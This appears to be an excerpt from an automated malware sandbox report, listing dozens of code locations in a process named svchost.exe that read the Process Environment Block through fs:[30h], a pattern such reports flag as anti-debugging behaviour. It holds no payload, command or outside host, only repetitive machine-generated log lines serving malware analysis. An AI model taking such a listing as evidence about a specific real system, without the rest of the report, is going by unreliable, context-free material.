Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304500 mov eax, dword ptr fs:[00000030h]	2_2_03304500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]	2_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]	2_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326656A mov eax, dword ptr fs:[00000030h]	2_2_0326656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238550 mov eax, dword ptr fs:[00000030h]	2_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238550 mov eax, dword ptr fs:[00000030h]	2_2_03238550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]	2_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]	2_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B05A7 mov eax, dword ptr fs:[00000030h]	2_2_032B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032545B1 mov eax, dword ptr fs:[00000030h]	2_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032545B1 mov eax, dword ptr fs:[00000030h]	2_2_032545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232582 mov eax, dword ptr fs:[00000030h]	2_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03232582 mov ecx, dword ptr fs:[00000030h]	2_2_03232582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264588 mov eax, dword ptr fs:[00000030h]	2_2_03264588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E59C mov eax, dword ptr fs:[00000030h]	2_2_0326E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0325E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032325E0 mov eax, dword ptr fs:[00000030h]	2_2_032325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C5ED mov eax, dword ptr fs:[00000030h]	2_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C5ED mov eax, dword ptr fs:[00000030h]	2_2_0326C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E5CF mov eax, dword ptr fs:[00000030h]	2_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E5CF mov eax, dword ptr fs:[00000030h]	2_2_0326E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032365D0 mov eax, dword ptr fs:[00000030h]	2_2_032365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0326A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]	2_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]	2_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322E420 mov eax, dword ptr fs:[00000030h]	2_2_0322E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322C427 mov eax, dword ptr fs:[00000030h]	2_2_0322C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B6420 mov eax, dword ptr fs:[00000030h]	2_2_032B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A430 mov eax, dword ptr fs:[00000030h]	2_2_0326A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]	2_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]	2_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268402 mov eax, dword ptr fs:[00000030h]	2_2_03268402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC460 mov ecx, dword ptr fs:[00000030h]	2_2_032BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]	2_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]	2_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325A470 mov eax, dword ptr fs:[00000030h]	2_2_0325A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326E443 mov eax, dword ptr fs:[00000030h]	2_2_0326E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA456 mov eax, dword ptr fs:[00000030h]	2_2_032EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322645D mov eax, dword ptr fs:[00000030h]	2_2_0322645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325245A mov eax, dword ptr fs:[00000030h]	2_2_0325245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032364AB mov eax, dword ptr fs:[00000030h]	2_2_032364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032644B0 mov ecx, dword ptr fs:[00000030h]	2_2_032644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BA4B0 mov eax, dword ptr fs:[00000030h]	2_2_032BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032EA49A mov eax, dword ptr fs:[00000030h]	2_2_032EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032304E5 mov ecx, dword ptr fs:[00000030h]	2_2_032304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EB20 mov eax, dword ptr fs:[00000030h]	2_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EB20 mov eax, dword ptr fs:[00000030h]	2_2_0325EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F8B28 mov eax, dword ptr fs:[00000030h]	2_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032F8B28 mov eax, dword ptr fs:[00000030h]	2_2_032F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AEB1D mov eax, dword ptr fs:[00000030h]	2_2_032AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0322CB7E mov eax, dword ptr fs:[00000030h]	2_2_0322CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4B4B mov eax, dword ptr fs:[00000030h]	2_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4B4B mov eax, dword ptr fs:[00000030h]	2_2_032E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6B40 mov eax, dword ptr fs:[00000030h]	2_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6B40 mov eax, dword ptr fs:[00000030h]	2_2_032C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FAB40 mov eax, dword ptr fs:[00000030h]	2_2_032FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D8B42 mov eax, dword ptr fs:[00000030h]	2_2_032D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DEB50 mov eax, dword ptr fs:[00000030h]	2_2_032DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240BBE mov eax, dword ptr fs:[00000030h]	2_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240BBE mov eax, dword ptr fs:[00000030h]	2_2_03240BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032E4BB0 mov eax, dword ptr fs:[00000030h]	2_2_032E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]	2_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]	2_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238BF0 mov eax, dword ptr fs:[00000030h]	2_2_03238BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EBFC mov eax, dword ptr fs:[00000030h]	2_2_0325EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BCBF0 mov eax, dword ptr fs:[00000030h]	2_2_032BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]	2_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]	2_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03250BCB mov eax, dword ptr fs:[00000030h]	2_2_03250BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]	2_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]	2_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230BCD mov eax, dword ptr fs:[00000030h]	2_2_03230BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DEBD0 mov eax, dword ptr fs:[00000030h]	2_2_032DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA24 mov eax, dword ptr fs:[00000030h]	2_2_0326CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EA2E mov eax, dword ptr fs:[00000030h]	2_2_0325EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03254A35 mov eax, dword ptr fs:[00000030h]	2_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03254A35 mov eax, dword ptr fs:[00000030h]	2_2_03254A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA38 mov eax, dword ptr fs:[00000030h]	2_2_0326CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BCA11 mov eax, dword ptr fs:[00000030h]	2_2_032BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]	2_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]	2_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326CA6F mov eax, dword ptr fs:[00000030h]	2_2_0326CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032DEA60 mov eax, dword ptr fs:[00000030h]	2_2_032DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032ACA72 mov eax, dword ptr fs:[00000030h]	2_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032ACA72 mov eax, dword ptr fs:[00000030h]	2_2_032ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03236A50 mov eax, dword ptr fs:[00000030h]	2_2_03236A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240A5B mov eax, dword ptr fs:[00000030h]	2_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03240A5B mov eax, dword ptr fs:[00000030h]	2_2_03240A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238AA0 mov eax, dword ptr fs:[00000030h]	2_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03238AA0 mov eax, dword ptr fs:[00000030h]	2_2_03238AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286AA4 mov eax, dword ptr fs:[00000030h]	2_2_03286AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323EA80 mov eax, dword ptr fs:[00000030h]	2_2_0323EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03304A80 mov eax, dword ptr fs:[00000030h]	2_2_03304A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03268A90 mov edx, dword ptr fs:[00000030h]	2_2_03268A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326AAEE mov eax, dword ptr fs:[00000030h]	2_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326AAEE mov eax, dword ptr fs:[00000030h]	2_2_0326AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]	2_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]	2_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03286ACC mov eax, dword ptr fs:[00000030h]	2_2_03286ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230AD0 mov eax, dword ptr fs:[00000030h]	2_2_03230AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264AD0 mov eax, dword ptr fs:[00000030h]	2_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03264AD0 mov eax, dword ptr fs:[00000030h]	2_2_03264AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B892A mov eax, dword ptr fs:[00000030h]	2_2_032B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C892B mov eax, dword ptr fs:[00000030h]	2_2_032C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE908 mov eax, dword ptr fs:[00000030h]	2_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032AE908 mov eax, dword ptr fs:[00000030h]	2_2_032AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC912 mov eax, dword ptr fs:[00000030h]	2_2_032BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228918 mov eax, dword ptr fs:[00000030h]	2_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03228918 mov eax, dword ptr fs:[00000030h]	2_2_03228918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03256962 mov eax, dword ptr fs:[00000030h]	2_2_03256962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327096E mov eax, dword ptr fs:[00000030h]	2_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327096E mov edx, dword ptr fs:[00000030h]	2_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0327096E mov eax, dword ptr fs:[00000030h]	2_2_0327096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4978 mov eax, dword ptr fs:[00000030h]	2_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D4978 mov eax, dword ptr fs:[00000030h]	2_2_032D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC97C mov eax, dword ptr fs:[00000030h]	2_2_032BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B0946 mov eax, dword ptr fs:[00000030h]	2_2_032B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032429A0 mov eax, dword ptr fs:[00000030h]	2_2_032429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032309AD mov eax, dword ptr fs:[00000030h]	2_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032309AD mov eax, dword ptr fs:[00000030h]	2_2_032309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B89B3 mov esi, dword ptr fs:[00000030h]	2_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B89B3 mov eax, dword ptr fs:[00000030h]	2_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032B89B3 mov eax, dword ptr fs:[00000030h]	2_2_032B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE9E0 mov eax, dword ptr fs:[00000030h]	2_2_032BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032629F9 mov eax, dword ptr fs:[00000030h]	2_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032629F9 mov eax, dword ptr fs:[00000030h]	2_2_032629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C69C0 mov eax, dword ptr fs:[00000030h]	2_2_032C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0323A9D0 mov eax, dword ptr fs:[00000030h]	2_2_0323A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032649D0 mov eax, dword ptr fs:[00000030h]	2_2_032649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FA9D3 mov eax, dword ptr fs:[00000030h]	2_2_032FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov ecx, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03252835 mov eax, dword ptr fs:[00000030h]	2_2_03252835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326A830 mov eax, dword ptr fs:[00000030h]	2_2_0326A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D483A mov eax, dword ptr fs:[00000030h]	2_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032D483A mov eax, dword ptr fs:[00000030h]	2_2_032D483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC810 mov eax, dword ptr fs:[00000030h]	2_2_032BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE872 mov eax, dword ptr fs:[00000030h]	2_2_032BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BE872 mov eax, dword ptr fs:[00000030h]	2_2_032BE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6870 mov eax, dword ptr fs:[00000030h]	2_2_032C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032C6870 mov eax, dword ptr fs:[00000030h]	2_2_032C6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03242840 mov ecx, dword ptr fs:[00000030h]	2_2_03242840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03260854 mov eax, dword ptr fs:[00000030h]	2_2_03260854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234859 mov eax, dword ptr fs:[00000030h]	2_2_03234859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03234859 mov eax, dword ptr fs:[00000030h]	2_2_03234859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03230887 mov eax, dword ptr fs:[00000030h]	2_2_03230887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032BC89D mov eax, dword ptr fs:[00000030h]	2_2_032BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_032FA8E4 mov eax, dword ptr fs:[00000030h]	2_2_032FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0326C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0326C8F9 mov eax, dword ptr fs:[00000030h]	2_2_0326C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325E8C0 mov eax, dword ptr fs:[00000030h]	2_2_0325E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0325EF28 mov eax, dword ptr fs:[00000030h]	2_2_0325EF28
